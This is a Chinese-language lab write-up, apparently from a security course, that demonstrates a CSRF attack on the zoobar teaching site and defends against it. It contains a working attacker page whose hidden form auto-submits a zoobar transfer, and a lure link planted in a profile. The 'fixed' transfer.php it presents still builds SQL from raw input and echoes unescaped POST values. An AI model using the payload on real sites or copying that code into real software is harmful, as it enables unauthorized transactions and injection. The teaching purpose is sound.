資訊保安實踐Lab3-CSRF&XSS&點選劫持
資訊保安實踐Lab3-CSRF&XSS&點選劫持
CSRF
在zoobar網站上展示並防禦CSRF攻擊。請注意在防禦時的粒度問題,防止所有人的token都一樣;以及重新整理太快,正常操作都失敗。
配置
先在myzoo網站註冊兩個賬號 victim和attack。
攻擊者伺服器所在虛擬機器配置(10.211.55.16):
1.安裝apache2
sudo apt-get install apache2
2.關閉防火牆
sudo ufw disable
3.配置hosts
sudo vim /etc/hosts
在最後新增
10.211.55.14 www.myzoo.com #這裡的ip填寫myzoo伺服器的ip地址
127.0.0.1 www.attack.com
4.編寫index.html檔案
sudo cd /var/www/html
sudo vim index.html
將下面的內容複製進去即可
index.html
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>my profile</title>
</head>
<body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe>
<form method="POST"
name="transferform"
action="http://www.myzoo.com/transfer.php"
target="it"
id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="attack">
<input type="hidden" name="submission" value="Send">
</form>
<img src="http://106.13.136.87:8080/101.jpeg">
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
myzoo網站所在虛擬機器配置(10.211.55.14):
1.關閉防火牆
sudo ufw disable
2.配置hosts
sudo vim /etc/hosts
在最後新增
127.0.0.1 www.myzoo.com
10.211.55.16 www.attack.com #這裡的ip填寫攻擊者伺服器的ip地址
攻擊
1.attack在賬號的profile中寫入:
<a href="http://www.attack.com"> 點選檢視我的照片哦</a>
然後點選save。
2.victim使用者去檢視attack的profile
當victim點選該連結後,就會向attack轉1個zoobars。
防禦
方法1:使用session
修改transfer.php檔案:
1.在開頭加入下面的內容
<?php
session_start();
?>
2.修改if語句
if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf'])
3.在45-47行加入下面內容
<?php
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
?>
4.在form中新增下面的內容
<input type=hidden name=token value="<?php echo $_SESSION['csrf']?>"/>
修改後的transfer.php如下:
<?php
session_start();
?>
<?php
require_once("includes/common.php");
nav_start_outer("Transfer");
nav_start_inner();
if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf']) {
$recipient = $_POST['recipient'];
$zoobars = (int) $_POST['zoobars'];
$sql = "SELECT Zoobars FROM Person WHERE PersonID=$user->id";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$sender_balance = $rs["Zoobars"] - $zoobars;
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$recipient_exists = $rs["PersonID"];
if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists) {
$sql = "UPDATE Person SET Zoobars = $sender_balance " .
"WHERE PersonID=$user->id";
$db->executeQuery($sql);
$sql = "SELECT Zoobars FROM Person WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$recipient_balance = $rs["Zoobars"] + $zoobars;
$sql = "UPDATE Person SET Zoobars = $recipient_balance " .
"WHERE Username='$recipient'";
$db->executeQuery($sql);
$result = "Sent $zoobars zoobars";
}
else $result = "Transfer to $recipient failed.";
}
?>
<p><b>Balance:</b>
<span id="myZoobars"> <?php
$sql = "SELECT Zoobars FROM Person WHERE PersonID=$user->id";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$balance = $rs["Zoobars"];
echo $balance > 0 ? $balance : 0;
?> </span> zoobars</p>
<?php
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
?>
<form method=POST name=transferform
action="<?php echo $_SERVER['PHP_SELF']?>">
<p>Send <input name=zoobars type=text value="<?php
echo $_POST['zoobars'];
?>" size=5> zoobars</p>
<p>to <input name=recipient type=text value="<?php
echo $_POST['recipient'];
?>"></p>
<input type=hidden name=token value="<?php echo $_SESSION['csrf']?>"/>
<input type=submit name=submission value="Send">
</form>
<span class=warning><?php
echo "$result";
?></span>
<?php
nav_end_inner();
?>
<script type="text/javascript" src="zoobars.js.php"></script>
<?php
nav_end_outer();
?>
相關文章
- 資訊保安實踐Lab2-CSSCSS
- 資訊保安原理與實踐(第2版)
- 智慧網聯汽車資訊保安風險分析及實踐探討
- 資訊保安
- 從 Ajax 聊一聊 Jsonp 點選劫持JSON
- BP - 點選劫持 Clickjacking (UI redressing)UI
- 【資訊保安】SELinuxLinux
- PKI資訊保安知識點詳細解答包含HTTPSHTTP
- AIGC資訊保安-在應用系統中安全防範過程實踐應用AIGC
- 海雲安個人隱私資訊保安影響評估系統入個人資訊保護創新實踐案例
- 物聯網資訊保安
- 資訊保安入門指南
- 直擊3·15晚會,網路資訊保安成焦點!
- 聚焦實踐|綠盟科技支援全國大學生資訊保安競賽東北、華中賽區
- 代理IP如何實現網路資訊保安防護?
- 資訊保安對稱密碼分析實驗總結密碼
- 立即更新!GitLab曝滿分零點選賬戶劫持漏洞Gitlab
- 曹政資訊保安課筆記-常見資訊保安的常識錯誤筆記
- 分享資訊保安工作小記
- 人工智慧與資訊保安人工智慧
- 如何保障Cookie的資訊保安Cookie
- 湖南發力資訊保安產業產業
- 資訊保安策略建立步驟
- 網路資訊保安論述
- 資訊保安數學基礎
- 一點點最佳實踐
- 《防患未然:實施情報先導的資訊保安方法與實踐》——第2章什麼是情報2.1 引言
- 基於原型鏈劫持的前端程式碼插樁實踐原型前端
- 《資訊保安保障》一2.2 我國資訊保安保障工作主要內容
- Android實現首次點選返回鍵提示資訊,第二次點選退出應用Android
- 中新賽克夯實資訊保安,助力通訊部件國產化
- 網路資訊保安需求迫切量子通訊技術將成焦點
- 古代密碼學與資訊保安密碼學
- 資訊保安與Linux系統Linux
- DefenseCode — 資訊保安測試工具
- 02-02-01 資訊保安框架框架
- 破解資訊保安產業的“人才荒”產業
- 資訊保安產業頻獲政策扶持產業